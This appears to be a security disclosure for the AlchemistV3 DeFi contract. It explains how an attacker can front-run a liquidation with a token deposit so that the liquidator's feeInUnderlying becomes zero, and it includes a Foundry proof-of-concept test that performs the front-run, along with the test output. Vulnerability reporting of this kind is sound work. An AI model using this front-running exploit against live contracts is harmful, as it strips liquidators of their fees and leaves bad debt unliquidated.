During the liquidation process on the Ethereum blockchain in case alchemistCurrentCollateralization < globalMinimumCollateralization the feeInUnderlying value can be manipulated (reduced to 0) by an attacker at no costs just paying transaction gas fee. This way the attacker prevent the user who started the liquidation process from receiving its feeInUnderlying for that liquidation.
Vulnerability Details
When all the conditions are met and a user calls the function AlchemistV3::Liquidate, it calls in turn these functions to liquidate a position _liquidate, _doLiquidation, calculateLiquidation. Considering the latter, it returns among the others the following value: outsourcedFee. Then that value is used for the calculation of the feeInUnderlying that is sent to the user.
However, looking inside the function AlchemistV3::calculateLiquidation, the value above is used in order to determine whether outsourcedFee = (debt * feeBps) / BPS; or it will be 0 otherwise.
Thus, it is possible for an attacker to front-run liquidations of positions being in this specific condition.
For these positions, the attacker can front-run the liquidation transaction depositing additional myt tokens. The attacker can front-run liquidations depositing an amount of myt increasing the _mytSharesDeposited value so that alchemistCurrentCollateralization >= globalMinimumCollateralization.
By doing this simple front run action, the attacker can set the value of feeInUnderlying to 0.
Impact Details
Due to this attack the user starting the liquidation process will not get any feeInUnderlying even if it should have been >0.
The impact of the attack is twofold:
From one hand the feeInUnderlying that should have gone to the user it is reset by the attacker and on the other hand the protocol can't incentivize users to make liquidations with the feeInUnderlying as yield running this way the risk to leave active bad debt positions for a long time.
The amount of the feeInUnderlying as yield lost by the users, varies depending on what is the value of feeBps and the value of the debt. However, it should always be relevant and never negligible because of the reason explained before.
Add the following test to the test suite (AlchemistV3.t.sol) of the project, and run this: forge test --mt testManipulationUnderlyingFeeInLiquidations -vvvvv and it should pass
As an additional proof of the issue, you can run the same test (without the front-running action) noting that the feeInUnderlying value it's != 0 as it should always be.
forge test --mt testUnderlyingFeeInLiquidationsWithoutManipulation -vvvvv
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.28;
import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {TransparentUpgradeableProxy} from "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";
import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";
import {MockMYTStrategy} from "./mocks/MockMYTStrategy.sol";
import {MYTTestHelper} from "./libraries/MYTTestHelper.sol";
import {IMYTStrategy} from "../interfaces/IMYTStrategy.sol";
import {MockAlchemistAllocator} from "./mocks/MockAlchemistAllocator.sol";
import {IMockYieldToken} from "./mocks/MockYieldToken.sol";
import {IVaultV2} from "../../lib/vault-v2/src/interfaces/IVaultV2.sol";
import {VaultV2} from "../../lib/vault-v2/src/VaultV2.sol";
import {MockYieldToken} from "./mocks/MockYieldToken.sol";
contract AlchemistV3Test is Test {
// ----- [SETUP] Variables for setting up a minimal CDP -----
// Callable contract variables
AlchemistV3 alchemist;
Transmuter transmuter;
AlchemistV3Position alchemistNFT;
AlchemistTokenVault alchemistFeeVault;
// // Proxy variables
TransparentUpgradeableProxy proxyAlchemist;
TransparentUpgradeableProxy proxyTransmuter;
// // Contract variables
// CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
AlchemistV3 alchemistLogic;
Transmuter transmuterLogic;
AlchemicTokenV3 alToken;
Whitelist whitelist;
// Parameters for AlchemicTokenV2
string public _name;
string public _symbol;
uint256 public _flashFee;
address public alOwner;
mapping(address => bool) users;
uint256 public constant FIXED_POINT_SCALAR = 1e18;
uint256 public constant BPS = 10_000;
uint256 public protocolFee = 100;
uint256 public liquidatorFeeBPS = 300; // in BPS, 3%
uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;
// ----- Variables for deposits & withdrawals -----
// account funds to make deposits/test with
uint256 accountFunds;
// large amount to test with
uint256 whaleSupply;
// amount of yield/underlying token to deposit
uint256 depositAmount;
// minimum amount of yield/underlying token to deposit
uint256 minimumDeposit = 10e18;
// minimum amount of yield/underlying token to deposit
uint256 minimumDepositOrWithdrawalLoss = FIXED_POINT_SCALAR;
// random EOA for testing
address externalUser = address(0x69E8cE9bFc01AA33cD2d02Ed91c72224481Fa420);
// another random EOA for testing
address anotherExternalUser = address(0x420Ab24368E5bA8b727E9B8aB967073Ff9316969);
// another random EOA for testing
address yetAnotherExternalUser = address(0x520aB24368e5Ba8B727E9b8aB967073Ff9316961);
// another random EOA for testing
address someWhale = address(0x521aB24368E5Ba8b727e9b8AB967073fF9316961);
// WETH address
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public protocolFeeReceiver = address(10);
// MYT variables
VaultV2 vault;
MockAlchemistAllocator allocator;
MockMYTStrategy mytStrategy;
address public operator = address(0x2222222222222222222222222222222222222222); // default operator
address public admin = address(0x4444444444444444444444444444444444444444); // DAO OSX
address public curator = address(0x8888888888888888888888888888888888888888);
address public mockVaultCollateral = address(new TestERC20(100e18, uint8(18)));
address public mockStrategyYieldToken = address(new MockYieldToken(mockVaultCollateral));
uint256 public defaultStrategyAbsoluteCap = 2_000_000_000e18;
uint256 public defaultStrategyRelativeCap = 1e18; // 100%
struct CalculateLiquidationResult {
uint256 liquidationAmountInYield;
uint256 debtToBurn;
uint256 outSourcedFee;
uint256 baseFeeInYield;
}
struct AccountPosition {
address user;
uint256 collateral;
uint256 debt;
uint256 tokenId;
}
function setUp() external {
adJustTestFunds(18);
setUpMYT(18);
deployCoreContracts(18);
}
function adJustTestFunds(uint256 alchemistUnderlyingTokenDecimals) public {
accountFunds = 200_000 * 10 ** alchemistUnderlyingTokenDecimals;
whaleSupply = 20_000_000_000 * 10 ** alchemistUnderlyingTokenDecimals;
depositAmount = 200_000 * 10 ** alchemistUnderlyingTokenDecimals;
}
function setUpMYT(uint256 alchemistUnderlyingTokenDecimals) public {
vm.startPrank(admin);
uint256 TOKEN_AMOUNT = 1_000_000; // Base token amount
uint256 initialSupply = TOKEN_AMOUNT * 10 ** alchemistUnderlyingTokenDecimals;
mockVaultCollateral = address(new TestERC20(initialSupply, uint8(alchemistUnderlyingTokenDecimals)));
mockStrategyYieldToken = address(new MockYieldToken(mockVaultCollateral));
vault = MYTTestHelper._setupVault(mockVaultCollateral, admin, curator);
mytStrategy = MYTTestHelper._setupStrategy(address(vault), mockStrategyYieldToken, admin, "MockToken", "MockTokenProtocol", IMYTStrategy.RiskClass.LOW);
allocator = new MockAlchemistAllocator(address(vault), admin, operator);
vm.stopPrank();
vm.startPrank(curator);
_vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.setIsAllocator, (address(allocator), true)));
vault.setIsAllocator(address(allocator), true);
_vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.addAdapter, address(mytStrategy)));
vault.addAdapter(address(mytStrategy));
bytes memory idData = mytStrategy.getIdData();
_vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (idData, defaultStrategyAbsoluteCap)));
vault.increaseAbsoluteCap(idData, defaultStrategyAbsoluteCap);
_vaultSubmitAndFastForward(abi.encodeCall(IVaultV2.increaseRelativeCap, (idData, defaultStrategyRelativeCap)));
vault.increaseRelativeCap(idData, defaultStrategyRelativeCap);
vm.stopPrank();
}
function _magicDepositToVault(address vault, address depositor, uint256 amount) internal returns (uint256) {
deal(address(mockVaultCollateral), address(depositor), amount);
vm.startPrank(depositor);
TokenUtils.safeApprove(address(mockVaultCollateral), vault, amount);
uint256 shares = IVaultV2(vault).deposit(amount, depositor);
vm.stopPrank();
return shares;
}
function _vaultSubmitAndFastForward(bytes memory data) internal {
vault.submit(data);
bytes4 selector = bytes4(data);
vm.warp(block.timestamp + vault.timelock(selector));
}
function deployCoreContracts(uint256 alchemistUnderlyingTokenDecimals) public {
// test maniplulation for convenience
address caller = address(0xdead);
address proxyOwner = address(this);
vm.assume(caller != address(0));
vm.assume(proxyOwner != address(0));
vm.assume(caller != proxyOwner);
vm.startPrank(caller);
// Fake tokens
alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);
ITransmuter.TransmuterInitializationParams memory transParams = ITransmuter.TransmuterInitializationParams({
syntheticToken: address(alToken),
feeReceiver: address(this),
timeToTransmute: 5_256_000,
transmutationFee: 10,
exitFee: 20,
graphSize: 52_560_000
});
// Contracts and logic contracts
alOwner = caller;
transmuterLogic = new Transmuter(transParams);
alchemistLogic = new AlchemistV3();
whitelist = new Whitelist();
// AlchemistV3 proxy
AlchemistInitializationParams memory params = AlchemistInitializationParams({
admin: alOwner,
debtToken: address(alToken),
underlyingToken: address(vault.asset()),
depositCap: type(uint256).max,
minimumCollateralization: minimumCollateralization,
collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
transmuter: address(transmuterLogic),
protocolFee: 600, // set protocol fees to 6%
protocolFeeReceiver: protocolFeeReceiver,
liquidatorFee: liquidatorFeeBPS,
repaymentFee: 100,
myt: address(vault)
});
bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
alchemist = AlchemistV3(address(proxyAlchemist));
// Whitelist alchemist proxy for minting tokens
alToken.setWhitelist(address(proxyAlchemist), true);
whitelist.add(externalUser);
whitelist.add(anotherExternalUser);
whitelist.add(yetAnotherExternalUser);
transmuterLogic.setAlchemist(address(alchemist));
transmuterLogic.setDepositCap(uint256(type(int256).max));
alchemistNFT = new AlchemistV3Position(address(alchemist));
alchemist.setAlchemistPositionNFT(address(alchemistNFT));
alchemistFeeVault = new AlchemistTokenVault(address(vault.asset()), address(alchemist), alOwner);
alchemistFeeVault.setAuthorization(address(alchemist), true);
alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
_magicDepositToVault(address(vault), externalUser, 10e18*minimumCollateralization);
vm.stopPrank();
deal(address(vault.asset()), externalUser, 10e18*minimumCollateralization/1e18);
deal(address(vault.asset()), anotherExternalUser, 100e18);
}
function testManipulationUnderlyingFeeInLiquidations() external {
uint256 amountOfDebtToCreate = 10e18;
uint256 amountToDeposit = 10e18* alchemist.minimumCollateralization()/1e18;
uint256 amountToManipulateUnderlyingFee = amountToDeposit*12/10 - amountToDeposit;
deal(address(vault), externalUser, amountToDeposit);
deal(address(vault), anotherExternalUser, amountToManipulateUnderlyingFee);
vm.startPrank(externalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), amountToDeposit);
alchemist.deposit(amountToDeposit, externalUser, 0);
// a single position nft would have been minted to an `externalUser1`
uint256 tokenIdExternalUser = AlchemistNFTHelper.getFirstTokenId(externalUser, address(alchemistNFT));
alchemist.mint(tokenIdExternalUser, amountOfDebtToCreate, externalUser);
vm.roll(block.number + 1);
(uint256 externalUserCollateral, uint256 externalUserDebt,) = alchemist.getCDP(tokenIdExternalUser);
vm.stopPrank();
//Then considering the simpliest way with which a `debt` can become `underCollaterlized`
//Changing the `minimumCollateralization` and the `globalMinimumCollateralization` values so that the account number 1 above become `undercollateralized`
vm.startPrank(alOwner);
uint256 newGlobalMinimumCollateralization = alchemist.globalMinimumCollateralization() * 12 / 10;
uint256 newMinimumCollateralization = alchemist.minimumCollateralization() * 11 / 10;
alchemist.setCollateralizationLowerBound(alchemist.globalMinimumCollateralization());
alchemist.setGlobalMinimumCollateralization(newGlobalMinimumCollateralization);
alchemist.setMinimumCollateralization(newMinimumCollateralization);
alchemist.setCollateralizationLowerBound(newMinimumCollateralization);
//Now we are in the condition where `(debt < collateral && collateral < globalminimuncollateralization * debt)`
(uint256 newExternalUserCollateral, uint256 newExternalUserDebt,) = alchemist.getCDP(tokenIdExternalUser);
vm.stopPrank();
// `anotherExternalUser` front-run `yetAnotherExternalUser` with a deposit thus changing the `currentCollateralizationRatio` of `AlchemistV3`
vm.startPrank(anotherExternalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), amountToManipulateUnderlyingFee);
alchemist.deposit(amountToManipulateUnderlyingFee, anotherExternalUser, 0);
// a single position nft would have been minted to an `anotherExternalUser`
uint256 tokenIdAnotherExternalUser = AlchemistNFTHelper.getFirstTokenId(anotherExternalUser, address(alchemistNFT));
vm.stopPrank();
deal(address(vault.asset()), address(alchemistFeeVault), 1e18);
vm.startPrank(yetAnotherExternalUser);
(uint256 yieldAmount, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(1);
vm.stopPrank();
vm.startPrank(anotherExternalUser);
alchemist.withdraw(amountToManipulateUnderlyingFee, anotherExternalUser, tokenIdAnotherExternalUser);
assertEq(feeInUnderlying, 0, "The fee has not been manipulated by the attacker");
vm.stopPrank();
}
}
function testUnderlyingFeeInLiquidationsWithoutManipulation() external {
uint256 amountOfDebtToCreate = 10e18;
uint256 amountToDeposit = 10e18* alchemist.minimumCollateralization()/1e18;
uint256 amountToManipulateUnderlyingFee = amountToDeposit*12/10 - amountToDeposit;
deal(address(vault), externalUser, amountToDeposit);
deal(address(vault), anotherExternalUser, amountToManipulateUnderlyingFee);
vm.startPrank(externalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), amountToDeposit);
alchemist.deposit(amountToDeposit, externalUser, 0);
// a single position nft would have been minted to an `externalUser1`
uint256 tokenIdExternalUser = AlchemistNFTHelper.getFirstTokenId(externalUser, address(alchemistNFT));
alchemist.mint(tokenIdExternalUser, amountOfDebtToCreate, externalUser);
vm.roll(block.number + 1);
(uint256 externalUserCollateral, uint256 externalUserDebt,) = alchemist.getCDP(tokenIdExternalUser);
vm.stopPrank();
//Then considering the simpliest way with which a `debt` can become `underCollaterlized`
//Changing the `minimumCollateralization` and the `globalMinimumCollateralization` values so that the account number 1 above become `undercollateralized`
vm.startPrank(alOwner);
uint256 newGlobalMinimumCollateralization = alchemist.globalMinimumCollateralization() * 12 / 10;
uint256 newMinimumCollateralization = alchemist.minimumCollateralization() * 11 / 10;
alchemist.setCollateralizationLowerBound(alchemist.globalMinimumCollateralization());
alchemist.setGlobalMinimumCollateralization(newGlobalMinimumCollateralization);
alchemist.setMinimumCollateralization(newMinimumCollateralization);
alchemist.setCollateralizationLowerBound(newMinimumCollateralization);
//Now we are in the condition where `(debt < collateral && collateral < globalminimuncollateralization * debt)`
(uint256 newExternalUserCollateral, uint256 newExternalUserDebt,) = alchemist.getCDP(tokenIdExternalUser);
vm.stopPrank();
deal(address(vault.asset()), address(alchemistFeeVault), 1e18);
vm.startPrank(yetAnotherExternalUser);
(uint256 yieldAmount, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(1);
vm.stopPrank();
assertEq(feeInUnderlying, 0, "The fee has not been manipulated by the attacker");
}
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] testManipulationUnderlyingFeeInLiquidations() (gas: 2024145)
.
.
.
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 296.19ms (288.02ms CPU time)
Ran 1 test suite in 1.68s (296.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[FAIL: The fee has not been manipulated by the attacker: 300000000000000000 != 0] testUnderlyingFeeInLiquidationsWithoutManipulation() (gas: 2023218)
.
.
.
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 294.61ms (282.58ms CPU time)
Ran 1 test suite in 2.13s (294.61ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in src/test/AlchemistV3.t.sol:AlchemistV3Test
[FAIL: The fee has not been manipulated by the attacker: 300000000000000000 != 0] testUnderlyingFeeInLiquidationsWithoutManipulation() (gas: 2023218)